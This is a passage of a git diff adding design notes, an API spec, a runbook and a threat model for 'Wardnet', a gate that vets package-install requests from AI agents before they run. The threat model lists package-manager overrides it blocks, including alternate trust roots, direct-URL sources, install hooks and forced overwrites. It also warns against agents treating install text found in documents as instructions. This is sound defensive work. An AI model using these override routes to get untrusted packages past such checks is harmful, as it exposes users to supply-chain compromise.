Version 1.2 as a draft. Wardnet therefore cites Version 1.1 as the final baseline and treats the draft separately. + +## APA 7 references + +Astral Software, Inc. (n.d.). *Commands: uv documentation.* Retrieved September 13, 2026, from https://docs.astral.sh/uv/reference/cli/ + +Astral Software, Inc. (n.d.). *Settings: uv documentation.* Retrieved September 13, 2026, from https://docs.astral.sh/uv/reference/settings/ + +Souppaya, M., Scarfone, K., & Dodson, D. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218 + +National Institute of Standards and Technology. (n.d.). *Secure Software Development Framework: Publications.* Retrieved September 13, 2026, from https://csrc.nist.gov/projects/ssdf/publications diff --git a/docs/doctoring/uv-system-certificate-store-authority.md b/docs/doctoring/uv-system-certificate-store-authority.md new file mode 100644 index 00000000..5424c382 --- /dev/null +++ b/docs/doctoring/uv-system-certificate-store-authority.md @@ -0,0 +1,74 @@ +# uv system certificate-store authority + +Status: Proposed implementation evidence on Draft #289. This note is not protected or released truth until the effective delta reaches protected `main`. + +## Decision + +Wardnet treats caller-selected `uv pip install --system-certs` as an expansion of TLS trust authority and blocks it before execution with the existing stable `alternate_trust_root` reason. The reviewed uv install without this selector remains admissible. + +The rule is executable-scoped. `--system-certs` is not added to the package-manager-wide forbidden flag set because the option grammar and meaning are owned by uv. Wardnet classifies only structured argv that is present in the admission intent; it does not infer the `UV_SYSTEM_CERTS` environment setting, enumerate native certificate stores, validate certificates, perform TLS, or make network calls. + +`quarantine-sandbox-runtime` remains the canonical owner of effective runtime/environment/configuration containment. EgressWeave remains the canonical owner of executable outbound transport and TLS enforcement. Wardnet's receipt remains pre-execution admission evidence rather than runtime or transport proof. + +## Problem and threat model + +Astral's current uv CLI documents `--system-certs` for `uv pip install` as selecting the platform native certificate store instead of uv's bundled Mozilla roots. That is a material change in which certification authorities can authenticate the registry/proxy path even when the reviewed package name, version, registry URL, hash, dependency cardinality, and executable remain unchanged. + +Before this repair, the Agent Artifact Admission classifier recognized explicit index, insecure-host, certificate-file, client-certificate, proxy/config and related authority selectors, but did not classify uv's native certificate-store selector. A reviewed artifact could therefore retain the same artifact coordinate while caller-controlled argv changed the effective root-of-trust source. + +This is primarily an authority/configuration-selection defect. CWE-15 is the closest root-cause taxonomy because an external input controls a security-relevant configuration setting. CWE-295 is supporting threat context for why certificate trust configuration is security-sensitive; Wardnet does not claim that selecting a native store is itself proof of improper certificate validation. + +## Alternatives considered + +### Put `--system-certs` in the generic forbidden flag list + +Rejected. That would make a uv-specific parser contract appear package-manager-neutral and could misclassify a future unrelated executable that happens to use the same spelling. The minimum rule is scoped to `executable == "uv"`. + +### Preserve the older `--native-tls` CLI spelling + +Rejected. Fresh current uv CLI documentation exposes `--system-certs`; it does not expose `--native-tls` as a command-line option. The uv settings reference retains `native-tls` only as a deprecated configuration setting in favor of `system-certs`. Wardnet does not invent or permanently preserve removed argv grammar without parser evidence. + +### Inspect `UV_SYSTEM_CERTS` or the host certificate store inside Wardnet + +Rejected. Environment resolution, platform store inspection, process execution and effective runtime configuration belong to the quarantine runtime boundary. Importing them would turn deterministic admission into ambient runtime inspection and duplicate canonical-owner responsibilities. + +### Delegate the argv-visible selector entirely to EgressWeave + +Rejected. EgressWeave owns executable transport enforcement, but Wardnet owns whether the structured install intent itself is admissible. An admission receipt must not state that a reviewed artifact install is allowed when its caller has also selected a different trust authority source. + +## RED → repair evidence + +Canonical parent #129 for this child is `6571224032bf081387426c50932f130922e0e2bc`. + +Test-only #289 head `4e35ca8d158f8f8a2c8415b4252d3e2e9aa772d4` added only `crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs`; production policy source remained byte-identical to the parent. Hosted CI `34549284828`, rust job `103108565858`, acquired an Ubuntu 24.04 hosted runner, passed checkout, toolchain setup and `cargo fmt --check`, then ran `cargo test --locked --workspace`. The reviewed uv baseline control passed. The hostile test `uv_system_certificate_store_cannot_inherit_artifact_approval` failed at the admission assertion with `left: Allow`, `right: Block`. Existing suites shown before it, including the four uv keyring-provider contracts, passed. This is semantic RED, not runner, bootstrap or formatting noise. + +Minimum causal repair `40d7365692aded7430dd6e4f781c40b96ea36a6f` changes only `requests_alternate_trust_root`: when the executable is uv, a structured `--system-certs` selector is classified as `alternate_trust_root`. It adds no TLS implementation, environment lookup, native-store inspection, parser emulation or new bounded context. + +Exact-head GREEN is not claimed here. It requires a successor exact head containing this repair, this test and this doctoring to pass the then-live hosted formatting, locked workspace tests, strict Clippy, Fuzz, security/static-analysis, review and thread gates. Predecessor results do not transfer after head movement. + +## Security properties and limits + +- The reviewed uv install remains admissible when no native-store selector is present. +- Structured `uv ... --system-certs` fails closed with the stable `alternate_trust_root` reason. +- The classifier is uv-specific rather than a global spelling blacklist. +- Ambient `UV_SYSTEM_CERTS`, project/user configuration and the actual native store are outside this structured-argv contract and remain runtime/configuration concerns for the canonical quarantine boundary. +- Wardnet does not assert that a native store is malicious or invalid. It asserts that changing the reviewed trust-authority source requires separate authorization. +- The admission receipt is not proof of certificate validation, retrieved artifact bytes, isolation or egress enforcement. + +## Traceability + +Astral Software, Inc. (n.d.). *Commands: uv pip install — --system-certs*. uv. Retrieved September 11, 2026, from https://docs.astral.sh/uv/reference/cli/ + +Astral Software, Inc. (n.d.). *Settings*. uv. Retrieved September 11, 2026, from https://docs.astral.sh/uv/reference/settings/ + +National Institute of Standards and Technology. (2025). *Security and privacy controls for information systems and organizations, Release 5.2.0* (NIST SP 800-53 Rev. 5). CM-6 requires security-relevant configuration settings to be established, implemented, and controlled; SC-17 addresses public-key-infrastructure certificates. Release 5.2.0 was finalized August 27, 2025. https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final + +National Institute of Standards and Technology. (2026, July 24). *Security configuration settings*. Risk Management Framework. https://csrc.nist.gov/Projects/risk-management/about-rmf/implement-step/security-configuration-settings + +MITRE. (2026, April 30). *CWE-15: External control of system or configuration setting* (CWE 4.20). https://cwe.mitre.org/data/definitions/15.html + +MITRE. (2026, April 30). *CWE-295: Improper certificate validation* (CWE 4.20). https://cwe.mitre.org/data/definitions/295.html + +## Follow-up + +Reacquire exact-head hosted GREEN after this doctoring commit. Then verify current reviews/threads and exact #129 base compatibility before ordinary expected-head integration of #289 into #129. Reacquire canonical #129 gates on its new exact head before opening serialized #286; #288 remains behind #286. Keep #285 open until the effective delta reaches protected `main` or is fully inherited by a verified successor. diff --git a/docs/openapi/agent-artifact-admission.openapi.yaml b/docs/openapi/agent-artifact-admission.openapi.yaml new file mode 100644 index 00000000..4e729e6b --- /dev/null +++ b/docs/openapi/agent-artifact-admission.openapi.yaml @@ -0,0 +1,327 @@ +openapi: 3.1.0 +info: + title: Wardnet Agent Artifact Admission API + version: 0.1.0 + description: >- + Loopback-only pre-execution admission boundary for structured package-install + intents. The service never executes package-manager commands. +servers: + - url: http://127.0.0.1:8091 + description: Example loopback deployment; the configured bind port is authoritative. +paths: + /healthz: + get: + operationId: getAgentArtifactAdmissionHealth + summary: Read process health and immutable policy identity + responses: + '200': + description: Process is serving the configured immutable policy. + content: + application/json: + schema: + $ref: '#/components/schemas/HealthView' + /v1/policy: + get: + operationId: getAgentArtifactAdmissionPolicy + summary: Read the immutable admission policy + security: + - AdminToken: [] + responses: + '200': + description: Current immutable process policy. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionPolicy' + '401': + $ref: '#/components/responses/Unauthorized' + /v1/admissions: + post: + operationId: createAgentArtifactAdmission + summary: Evaluate one structured package-install intent + description: >- + Returns a durable allow/block decision. A policy block is HTTP 200 because + the domain decision completed successfully. Structurally invalid authenticated + JSON is audited and returned as HTTP 400. An authenticated body that exceeds + the configured materialization limit is audited with a content-unavailable + surrogate and returned as HTTP 413. An allow is not returned until the audit + record has been durably appended. Audit failure returns HTTP 503 and a + fail-closed block decision. + security: + - AdminToken: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/InstallIntent' + responses: + '200': + description: Durable policy allow or policy block decision. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionDecision' + '400': + description: Authenticated request was malformed or structurally invalid and was durably audited. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionDecision' + '401': + $ref: '#/components/responses/Unauthorized' + '413': + description: Authenticated request body exceeded the configured limit; a minimized rejection audit was durably appended before this response. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionDecision' + '503': + description: Audit durability was unavailable; execution must not proceed. + content: + application/json: + schema: + $ref: '#/components/schemas/AdmissionDecision' +components: + securitySchemes: + AdminToken: + type: apiKey + in: header + name: X-Admin-Token + description: >- + Exactly one bounded visible-ASCII token loaded from the credentials file at + process startup. Missing, duplicate, malformed, or incorrect values fail closed. + responses: + Unauthorized: + description: Authentication failed without disclosing credential details. + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorView' + schemas: + HealthView: + type: object + additionalProperties: false + required: + - status + - policy_id + - policy_revision + - allowed_executable_count + - approved_manifest_count + - approved_artifact_count + properties: + status: + type: string + const: ok + policy_id: + type: string + policy_revision: + type: string + allowed_executable_count: + type: integer + minimum: 0 + approved_manifest_count: + type: integer + minimum: 0 + approved_artifact_count: + type: integer + minimum: 0 + ErrorView: + type: object + additionalProperties: false + required: + - error + properties: + error: + type: string + const: unauthorized + AdmissionPolicy: + type: object + additionalProperties: false + required: + - policy_id + - policy_revision + - allowed_executables + - approved_manifests + - approved_artifacts + properties: + policy_id: + type: string + policy_revision: + type: string + allowed_executables: + type: array + items: + type: string + approved_manifests: + type: array + items: + $ref: '#/components/schemas/ApprovedManifest' + approved_artifacts: + type: array + items: + $ref: '#/components/schemas/ApprovedArtifact' + ApprovedManifest: + type: object + additionalProperties: false + required: + - workspace_id + - sha256 + properties: + workspace_id: + type: string + sha256: + $ref: '#/components/schemas/Sha256' + ApprovedArtifact: + allOf: + - $ref: '#/components/schemas/ArtifactCoordinate' + ArtifactCoordinate: + type: object + additionalProperties: false + required: + - ecosystem + - name + - version + - registry_url + - owner + - sha256 + - artifact_argument + properties: + ecosystem: + type: string + name: + type: string + version: + type: string + registry_url: + type: string + format: uri + pattern: '^https://' + owner: + type: string + sha256: + $ref: '#/components/schemas/Sha256' + artifact_argument: + type: string + InstructionSource: + type: object + additionalProperties: false + required: + - kind + - uri + - content_sha256 + properties: + kind: + type: string + enum: + - llms_txt + - llms_full_txt + - web_page + - issue_comment + - reviewed_config + uri: + oneOf: + - type: string + format: uri + - type: 'null' + content_sha256: + oneOf: + - $ref: '#/components/schemas/Sha256' + - type: 'null' + InstallIntent: + type: object + additionalProperties: false + required: + - request_id + - actor_id + - workspace_id + - operation + - argv + - manifest_sha256 + - source + - artifacts + properties: + request_id: + type: string + actor_id: + type: string + workspace_id: + type: string + operation: + type: string + const: install + argv: + type: array + minItems: 1 + items: + type: string + manifest_sha256: + $ref: '#/components/schemas/Sha256' + source: + $ref: '#/components/schemas/InstructionSource' + artifacts: + type: array + minItems: 1 + items: + $ref: '#/components/schemas/ArtifactCoordinate' + AdmissionDecision: + type: object + additionalProperties: false + required: + - request_id + - decision + - reason_codes + - policy_id + - policy_revision + - normalized_source_uri + - command_sha256 + - artifact_count + properties: + request_id: + type: string + decision: + type: string + enum: + - allow + - block + reason_codes: + type: array + items: + type: string + enum: + - malformed_request + - request_body_too_large + - invalid_request + - invalid_operation + - invalid_manifest_digest + - invalid_artifact + - duplicate_artifact + - artifact_not_approved + - manifest_not_approved + - executable_not_allowed + - missing_executable + - missing_source_uri + - missing_source_digest + - invalid_source_uri + - forbidden_command + - alternate_trust_root + - alternate_install_root + - missing_safety_flag + - audit_unavailable + policy_id: + type: string + policy_revision: + type: string + normalized_source_uri: + oneOf: + - type: string + format: uri + - type: 'null' + command_sha256: + $ref: '#/components/schemas/Sha256' + artifact_count: + type: integer + minimum: 0 + Sha256: + type: string + pattern: '^[0-9a-f]{64}$' diff --git a/docs/runbooks/agent-artifact-admission.md b/docs/runbooks/agent-artifact-admission.md new file mode 100644 index 00000000..631a6b01 --- /dev/null +++ b/docs/runbooks/agent-artifact-admission.md @@ -0,0 +1,160 @@ +# Agent Artifact Admission operations runbook + +This runbook applies only to the `wardnet-agent-artifact-admission` bounded context. It is a pre-execution admission service; it does not install packages or execute commands. + +## Safe deployment profile + +The v0.1 service is intentionally loopback-only. Do not bind it directly to a LAN or Internet address. If another host must call it, keep Wardnet on loopback and place an authenticated TLS/mTLS or equivalent identity-aware proxy on the same host. + +Create three local files with restrictive filesystem permissions: + +1. the reviewed admission policy/configuration; +2. the credential file containing the administrator token; +3. an appendable audit destination owned by the service account. + +Start from the committed deny-all example. A deny-all policy is an operationally safe initial state because it proves connectivity, authentication and audit durability without granting package authority. + +Example process launch: + +```bash +cargo run --locked --bin wardnet-agent-artifact-admission -- \ + --config ./agent-artifact-admission.json \ + --credentials ./agent-artifact-admission.credentials.json +``` + +The process must fail startup when configuration is malformed, the bind is non-loopback, the port is zero, credentials cannot be loaded, or required policy invariants are invalid. + +## Health and authentication + +`GET /healthz` is the non-secret process probe. It may report policy identifiers and bounded counts, but must not return the administrator token, policy secrets, request bodies or audit-path details. + +`GET /v1/policy` and `POST /v1/admissions` require exactly one `X-Admin-Token` header. Missing, duplicate, malformed or incorrect credentials return `401` and must never disclose the configured token or a masked fragment of it. + +Example probe: + +```bash +curl -fsS http://127.0.0.1:8091/healthz +``` + +Authenticated policy inspection: + +```bash +curl -fsS \ + -H "X-Admin-Token: ${WARDNET_ADMISSION_ADMIN_TOKEN:?}" \ + http://127.0.0.1:8091/v1/policy +``` + +The environment variable in this shell example is only a client-side convenience. The Wardnet service itself loads its administrator token from the configured credentials file, not from a runtime secret environment variable. + +## Admission behavior + +A valid request is a structured JSON `InstallIntent`. Never send a shell command string. Policy denials are normal application decisions and return a successful admission response whose body contains `decision=block`; a caller must not reinterpret that as a transport failure or search for a workaround. + +Malformed structural input returns `400` after the minimized rejection fact has been appended to the audit log. A request above the configured body limit returns `413`, also only after its rejection has been durably audited. Authentication failures return `401` and intentionally do not process an admission decision. + +An allow response is valid only after its audit record has been appended. If audit append, audit-record construction or the blocking audit task fails, Wardnet returns `503` with a block decision and the stable `audit_unavailable` reason. Operators must treat any `503` as fail-closed; never retry by bypassing Wardnet. + +### npm-family dependency closure + +Direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` requests are intentionally blocked in v0.1 even when the named direct package exactly matches policy and all execution-hardening flags are present. Those commands may resolve and fetch transitive dependencies that are not represented by the current direct-artifact `InstallIntent`; a reviewed direct package is therefore insufficient authority for the material set that would actually be installed. `--ignore-scripts` and pnpm's `--ignore-pnpmfile` reduce execution authority but do not prove dependency identity. + +Do not work around this block by adding wildcard artifacts, treating a lockfile path or branch as implicit approval, permitting a resolver-selected package set after the decision, or bypassing Wardnet. The future allow path must bind an immutable reviewed lockfile/material-set digest and the exact dependency closure to the admission request, then constrain the broker to a frozen project installation that cannot rewrite that lockfile. Current package-manager documentation provides candidate executor semantics—`npm ci`, `pnpm install --frozen-lockfile`, Yarn `install --immutable`, and `bun ci`/`bun install --frozen-lockfile`—but none becomes authorized merely because the command supports a frozen mode. Wardnet must first version and test the material-set contract and the broker must independently verify the installed bytes/provenance. + +PyPI is narrower in the current contract: pip/pip3 and `uv pip install` can proceed only with exact declared package operands, required hashes, and exact `--no-deps`, so no resolver-selected transitive package may be added outside the reviewed intent. Cargo and OCI remain governed by their separate exact-source/build/platform/cardinality invariants. + +### Execution-broker handoff + +An `allow` receipt authorizes only the exact reviewed install intent. It is not proof that bytes later returned by a registry are identical to the policy digest because this service does not download or hash packages. + +Before installation or execution, the downstream broker/quarantine path must: + +1. retain the exact admitted request/policy revision and refuse command or artifact substitution after admission; +2. retrieve only from the admitted package source, without alternate registry/index/Git/path overrides; +3. independently verify the retrieved artifact bytes against the admitted SHA-256 or consume equivalent verified provenance that binds the same bytes; +4. execute only after byte identity and runtime isolation controls are both satisfied; +5. treat any mismatch, missing verification evidence, or changed request as a new blocked/reauthorization condition rather than reusing the old allow receipt. + +Wardnet does not implement that hostile execution path. The quarantine runtime remains the reusable isolation owner; an execution broker that cannot prove byte identity must fail closed rather than treating the caller-supplied digest as verification evidence. + +## Policy rollout + +Treat the reviewed policy as immutable deployment configuration in v0.1. + +1. Build the candidate policy from independently reviewed package evidence, not from agent-generated text. +2. Pin exact ecosystem, package name, version, registry, owner, SHA-256 and approved workspace-manifest digest. +3. Validate external provenance with its owning system where used. A registry string or package name alone is not publisher proof. +4. Run contract tests and a representative set of blocked and allowed intents before deployment. +5. Replace the configuration atomically according to the host deployment mechanism. +6. Restart the service and verify `/healthz` policy identifiers before the execution broker resumes admissions. +7. Retain the previous reviewed policy for rollback. + +Do not add a runtime policy mutation endpoint as an operational shortcut. That would introduce a new policy-lifecycle aggregate, authorization model and audit contract and therefore requires an explicit architecture change. + +## Audit operations + +The audit file contains minimized decision facts only. It must not contain raw administrator tokens or raw command text. + +Operational expectations: + +- place the file on durable storage appropriate to the deployment; +- restrict read/write access to the Wardnet service account and approved security operators; +- ship or rotate it only through a process that preserves append ordering and provenance; +- monitor filesystem capacity and write failures; +- alert when `audit_unavailable` responses occur; +- do not truncate or rewrite evidence in place as a normal recovery action. + +If the audit destination is unavailable, restore audit durability first. The correct degraded mode is blocked admissions, not unlogged allows. + +## Incident response + +### Unexpected allow + +1. Stop the downstream execution broker from acting on new allow receipts. +2. Preserve the policy file, credential-file metadata, service binary identity and relevant audit records. +3. Identify the exact request ID, policy ID/revision, command digest and artifact coordinates from the receipt/audit fact. +4. Reproduce the decision with the same structured intent against the same policy revision. +5. Determine whether the defect is policy evidence, domain evaluation, adapter translation or downstream execution behavior. +6. Fix the owning boundary test-first. Do not add a one-off string denylist in the HTTP adapter if the invariant belongs to the domain policy. + +### Audit unavailable + +1. Confirm the service is returning `503`/`audit_unavailable`; this is the expected safe state. +2. Check ownership, permissions, filesystem capacity, path availability and host I/O errors without exposing audit content broadly. +3. Restore the append path and restart only if required by the host environment. +4. Submit a known blocked intent and confirm a new minimized record is appended before re-enabling the execution broker. + +### Credential exposure + +1. Stop callers that use the exposed credential. +2. Replace the credential file through the host secret-management process and restart the service. +3. Verify the old token is rejected and the new token succeeds. +4. Review access logs outside Wardnet for the exposure window; Wardnet's own admission audit intentionally does not record raw credentials. + +### Suspected policy tampering + +1. Freeze execution downstream. +2. Compare the deployed policy and workspace-manifest SHA-256 values with the reviewed source-of-truth revision. +3. Revert to the last reviewed policy if provenance cannot be established. +4. Treat the event as a supply-chain incident; a valid-looking package registry entry is not sufficient proof of legitimacy. + +## Rollback + +Rollback is configuration plus process rollback, not audit rollback. Restore the previous reviewed policy/configuration and, if necessary, the previous verified service artifact. Keep the audit trail intact. Verify health, authentication, a known-denied intent and one approved test fixture before allowing the execution broker to resume. + +## Release acceptance + +Before promoting a Wardnet build containing this context, require on the unchanged exact head: + +- `cargo fmt --check`; +- locked workspace tests, including HTTP authentication, audit ordering/failure, provenance and DDD architecture contracts; +- strict Clippy with warnings denied; +- repository fuzz/property invariants where configured; +- SAST/security/SBOM/provenance gates required by live GitHub policy; +- zero valid unresolved review findings; +- the review/governance conditions required by the live ruleset. + +Queued, pending, skipped-required, cancelled, absent, stale or predecessor-head evidence is not release evidence. + +## Ownership and escalation + +Agent Artifact Admission owns the install-intent policy and minimized admission receipt. Execution brokers own the actual install/execute step and must preserve the admitted identity; quarantine owns reusable hostile-workload isolation. The execution path must verify retrieved artifact bytes against the admitted digest (or equivalent verified provenance) before execution. Sigstore, TUF and SLSA remain external evidence authorities. Central CWL `.github` owns organization-wide workflow/review controls. A failure in one of those owners must be repaired at that owner boundary rather than duplicated inside this crate. diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md new file mode 100644 index 00000000..1e83dad0 --- /dev/null +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -0,0 +1,55 @@ +| Policy/provider schema coupling | Sigstore/TUF/SLSA DTO changes alter domain semantics implicitly | Translate provider evidence at explicit adapters/ACLs; domain depends only on stable admission concepts | Reject unsupported evidence until an accepted adapter exists | +| Cross-context authority leakage | Main gateway, SIEM exporter or orchestrator mutates admission policy by reaching into internals | Published API/package contract only; no foreign application-table access; no provider SDK in domain modules | Integration rejected by architecture fitness gate | +| Confused transport vs policy denial | Downstream treats a policy block as network failure and retries/works around it | Valid policy denials are successful admission responses with `decision=block`; transport/config/audit failures use HTTP errors | Stable receipt semantics | +| Resolver-selected transitive artifact | A reviewed direct npm-family coordinate expands into transitive package bytes absent from the admission intent | Direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` fail closed until policy can bind an immutable reviewed dependency closure and the broker can execute it without lockfile mutation | Stable `artifact_not_approved`; future lockfile/material-set contract plus frozen project-install acceptance | + +## Abuse cases + +A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. + +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, overwrite an existing Cargo-installed crate or binary, disable Cargo install tracking/concurrent-install protection, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved npm direct coordinate as authority for resolver-selected transitive packages, reinterpret an approved npm/PyPI registry or index coordinate as permission to substitute an alias, tarball URL, direct URL, VCS repository, local archive, local directory, alternate index or registry, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. + +## Operational security invariants + +- `0.0.0.0`, `::`, non-loopback addresses and port `0` are invalid service configuration for v0.1. +- The administrator token is loaded from the configured credentials file. It is never returned in health, error or audit payloads. +- The deny-all example configuration is safe to start without granting package authority. +- Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. +- Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. +- Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. +- Package-manager source, destination, environment, workspace-scope, build-variant, destructive install mutation, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, Cargo `-f` / `--force` overwrite authority and `--no-track` metadata/concurrent-install bypass, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. For the npm ecosystem, a direct operand must be the exact reviewed `@` registry coordinate; for PyPI it must be the exact reviewed `==` index coordinate. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements therefore cannot inherit approval from a different reviewed registry/index coordinate. Unsafe source-coordinate drift is rejected both when service policy is loaded and when an install intent is admitted. pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. pnpm also requires `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not by itself establish all submitted hook safety. These flags do not establish transitive npm-family artifact identity: direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` remain blocked because v0.1 carries no reviewed dependency closure. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. + +## Residual risk and future adapters + +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, decrypt images, or decide filesystem overwrite authority; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/destructive-mutation/dependency-cardinality/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. + +The next npm-family capability is not a looser direct-package allowlist. It requires an explicit versioned material-set boundary that binds the reviewed project manifest and lockfile digest, the dependency graph/material identities represented by that lockfile, and an executor mode that refuses to mutate the lockfile. Current primary package-manager documentation establishes candidate frozen semantics: npm `ci` requires an existing lockfile, rejects manifest/lock mismatch and does not write the manifest or lockfile; pnpm `install --frozen-lockfile` fails if the lockfile is absent or out of sync; Yarn `install --immutable` aborts if it would modify the lockfile; Bun `ci` is equivalent to `install --frozen-lockfile` and fails on manifest/lock mismatch. Those properties are necessary evidence for a future port, not sufficient admission today: Wardnet must still bind exact reviewed material identity and the broker must verify retrieved bytes/provenance. + +## Primary references + +- Astral Software, Inc. (2026). *uv CLI reference: uv pip install.* https://docs.astral.sh/uv/reference/cli/ +- National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 +- Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +- Bun contributors. (2026). *bun install.* https://bun.com/docs/pm/cli/install +- npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ +- npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ +- npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/install/ +- npm, Inc. (2026). *npm ci.* https://docs.npmjs.com/cli/v11/commands/npm-ci/ +- npm, Inc. (2026). *Package spec.* https://docs.npmjs.com/cli/v11/using-npm/package-spec/ +- npm, Inc. (2026). *npm exec.* https://docs.npmjs.com/cli/npm-exec/ +- pip developers. (2026). *pip install.* https://pip.pypa.io/en/latest/cli/pip_install/ +- pip developers. (2026). *Requirement specifiers.* https://pip.pypa.io/en/latest/reference/requirement-specifiers/ +- pip developers. (2026). *Repeatable installs.* https://pip.pypa.io/en/latest/topics/repeatable-installs/ +- pnpm contributors. (2026). *pnpm install.* https://pnpm.io/cli/install +- pnpm contributors. (2026). *.pnpmfile.mjs.* https://pnpm.io/pnpmfile +- pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build +- pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs +- pnpm contributors. (2026). *CLI startup and `--config.=` extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs +- Podman Project. (2026). *podman-pull — Pull an image from a registry.* https://docs.podman.io/en/stable/markdown/podman-pull.1.html +- Rust Project Developers. (2026). *cargo install—The Cargo Book.* https://doc.rust-lang.org/cargo/commands/cargo-install.html +- SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ +- The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ +- Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ +- Yarn contributors. (2026). *yarn install.* https://yarnpkg.com/cli/install + +NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications \ No newline at end of file diff --git a/docs/security/threat-model.md b/docs/security/threat-model.md index 4fc52235..db460db8 100644 --- a/docs/security/threat-model.md +++ b/docs/security/threat-model.md @@ -9,6 +9,8 @@ - Admin token - Upstream service availability - State file integrity +- Agent Artifact Admission policy, immutable artifact digest identity, reviewed workspace-manifest identity, and evaluated evidence set +- Agent Artifact Admission decision and admission receipt, including the policy/evidence identities that justify an allow or deny ## Trust Boundaries @@ -18,14 +20,19 @@ - The state file is trusted only after JSON deserialization succeeds. - A non-loopback listener is untrusted until a write-capable admin principal exists in the credential registry. This follows the fail-secure and authenticator-management posture documented in the production guide and runbook: start closed, bootstrap secrets into the registry, then expose the listener only after a usable write credential exists. - Threat feed import payloads are untrusted operator-supplied data. +- Agent Artifact Admission treats installer intent, artifact coordinates, workspace-manifest identity, artifact digest values, and submitted foreign-owner evidence as untrusted until Wardnet validates their structure, binding, policy identity, and freshness. An allow receipt authorizes only Wardnet admission; it is not evidence that bytes were fetched, a hostile workload was isolated, egress was authorized, an LLM/tool workflow ran, or an application guardrail executed. +- `quarantine-sandbox-runtime` remains the canonical owner of hostile-workload isolation and artifact-analysis execution; `EgressWeave` owns outbound destination/transport authorization; `contextual-orchestrator` owns LLM/model/tool orchestration through its released API; 